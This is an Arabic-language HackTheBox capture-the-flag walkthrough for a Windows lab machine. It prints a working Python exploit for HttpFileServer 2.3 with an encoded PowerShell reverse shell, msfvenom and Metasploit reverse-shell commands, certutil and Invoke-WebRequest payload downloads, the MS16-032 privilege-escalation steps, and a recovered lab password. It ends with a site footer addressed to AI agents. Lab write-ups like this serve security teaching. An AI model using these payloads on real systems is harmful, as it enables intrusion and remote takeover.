> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md). # تقرير HackTheBox عن Optium {% embed url="" %} {% hint style="warning" %} **المهارات:** * استغلال HttpFileServer 2.3 (تنفيذ تعليمات برمجية عن بُعد) * استطلاع النظام - Windows Exploit Suggester * Windows Server 12 (MS16-032) (تصعيد الصلاحيات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.8 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (80)

فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p80 10.10.10.8 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

## **الاستغلال** ### **المنفذ 80 : HttpFileServer 2.3** تم اكتشاف خادم ويب HttpFileServer 2.3. وبعد البحث، تبيّن أن هذا الإصدار عرضة لتنفيذ تعليمات برمجية عن بُعد (NCE).

### **البحث عن الثغرة** الأمر: ```bash searchsploit -m windows/remote/49584.py ``` {% embed url="" %} **سكربت بايثون مخصص**

**سكربت بايثون مخصص** يجب تعديل السكربت ليشمل المعاملات التالية: * `LHOST` : عنوان IP المحلي الخاص بك (VPN). * `LPORT`: منفذ الاستماع المحلي (مثل 4444). * `RHOST`: عنوان IP الهدف. * `RPORT`: منفذ الخدمة الضعيفة (مثل 80). ```python import base64 import os import urllib.request import urllib.parse lhost = "10.10.14.12" lport = 4444 rhost = "10.10.10.8" rport = 80 # تعريف الأمر الذي سيتم كتابته إلى ملف command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()' # ترميز الأمر بصيغة base64 encoded_command = base64.b64encode(command.encode("utf-16le")).decode() print("/nتم ترميز الأمر بصيغة base64...") # تعريف الحمولة المراد تضمينها في الرابط payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}' # ترميز الحمولة وإرسال طلب HTTP GET encoded_payload = urllib.parse.quote_plus(payload) url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}' urllib.request.urlopen(url) print("/nتم ترميز الحمولة وإرسال طلب HTTP GET إلى الهدف...") # طباعة بعض المعلومات print("/nجاري طباعة بعض المعلومات لأغراض التصحيح...") print("العنوان المحلي: ", lhost) print("منفذ المستمع المحلي: ", lport) print("العنوان البعيد: ", rhost) print("منفذ الهدف: ", rport) print("الحمولة: ", payload) # الاستماع إلى الاتصالات print("/nجاري الاستماع إلى الاتصال...") os.system(f'nc -nlvp {lport}') ``` استمع إلى جهازك: ```bash rlwrap nc -nlvp 4444 ```

### الراية user.txt :)

## **تصعيد الامتيازات** ### **استطلاع winPEAS** شغّلنا أداة winPEAS لإجراء الاستطلاع على الجهاز المستهدف عبر winrm. الهدف هو اكتشاف معلومات حساسة وتحديد الثغرات المحتملة. {% embed url="" %} **تنزيل وتشغيل winPEAS** ``` Invoke-WebRequest -Uri "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

أتاح لنا ذلك اكتشاف معلومات حساسة، مثل كلمات المرور وتفاصيل حول إصدار نظام التشغيل.

**كلمات المرور المكتشفة** `kostas:kdeEjDowkS*` بالإضافة إلى ذلك، كشفت الأداة أن الجهاز كان يعمل بنظام Windows Server 2012 R2 Standard، وهو إصدار ضعيف توجد له ثغرة للاستغلال من أجل تصعيد الصلاحيات عبر النواة.

### استغلال النواة: بحثنا عن ثغرات محددة في Windows Server 2012 R2 للتصعيد المحلي للصلاحيات. إن **MS16-032** الثغرة كانت مناسبة لهذا الإصدار من Windows. {% embed url="" %} * **MS16-032** لـ Windows 2012 R2 (تصعيد محلي للصلاحيات). {% embed url="" %} ### **شل عكسي عبر Metasploit** ثم أنشأنا ملف a.exe لإقامة شل عكسي من خلال Metasploit. وتم اتخاذ الخطوات التالية: الاستماع في Metasploit: ```bash use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.10.14.12 set LPORT 4444 exploit -j ``` إنشاء الحمولة `shell.exe` بالأمر التالي:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe -o shell.exe

نقل الحمولة باستخدام خادم HTTP في بايثون و `certutil`: ```bash python3 -m http.server ``` ```powershell certutil.exe -f -urlcache -split http://10.10.14.12:8000/shell.exe ``` بمجرد نقل الملف، تمكّنا من إنشاء جلسة Meterpreter (الجلسة 1).

### **استغلال الثغرة MS16-032** بعد الحصول على الوصول إلى الجهاز، بحثنا عن الاستغلال الضعيف في Metasploit: `exploit/windows/local/ms16_032_secondary_logon_handle_privesc`

قمنا بتعيين الجلسات، وعيّننا `LHOST` و `LPORT`، واخترنا الهدف Windows x64 لتجنب التعارض. بعد اكتمال الاستغلال، حصلنا على وصول كامل إلى النظام المستهدف.

### فلاغ الجذر :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.